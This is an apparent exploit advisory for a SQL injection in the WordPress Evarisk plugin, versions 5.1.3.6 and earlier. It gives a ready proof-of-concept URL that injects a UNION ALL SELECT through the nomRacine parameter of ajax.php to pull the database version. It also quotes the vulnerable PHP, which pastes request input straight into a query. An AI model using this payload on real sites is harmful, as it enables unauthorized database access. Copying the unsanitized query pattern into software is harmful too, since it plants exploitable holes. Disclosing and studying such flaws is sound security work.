WordPress Evarisk 5.1.3.6 SQL Injection

`# Exploit Title: WordPress Evarisk plugin <= 5.1.3.6 SQL Injection Vulnerability  
# Date: 2011-08-28  
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)  
# Software Link: http://downloads.wordpress.org/plugin/evarisk.5.1.3.6.zip  
# Version: 5.1.3.6 (tested)  
# Note: magic_quotes has to be turned off  
  
---  
PoC  
---  
http://www.site.com/wp-content/plugins/evarisk/include/ajax.php?post=true&act=reloadCombo&table=wp_eva__veille_groupe_question&nomRacine=-1" UNION ALL SELECT 1,@@version,3,4,5,6,7--%20  
  
---------------  
Vulnerable code  
---------------  
if($_REQUEST['post'] == 'true')  
{  
if(isset($_REQUEST['act']))  
{  
switch($_REQUEST['act'])  
{  
...  
case 'reloadCombo':  
$racine = $wpdb->get_row( 'SELECT * FROM ' . TABLE_GROUPE_QUESTION . ' where nom="' . $_REQUEST['nomRacine'] . '"');  
  
`